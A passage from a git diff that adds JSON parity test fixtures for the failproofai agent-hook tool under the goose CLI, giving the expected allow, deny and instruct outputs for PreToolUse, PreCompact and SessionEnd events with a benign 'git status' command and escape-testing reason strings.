\"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..139f8ef2 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..61482f79 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6fc13678 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..8320112c --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c9f159c6 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..71dd9d8d --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..f2bef3af --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..dc398caa --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..bf126961 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9bd2fc0a --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b02c2332 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..344580aa --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e097bd6e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..07f979b0 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..01c8f75e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..da5c356e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..a9ac2e86 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..bd3d6630 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PreToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..cfdb2e3b --- /dev/null +++ b/__tests__/parity/fixtures/goose/SessionEnd/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": 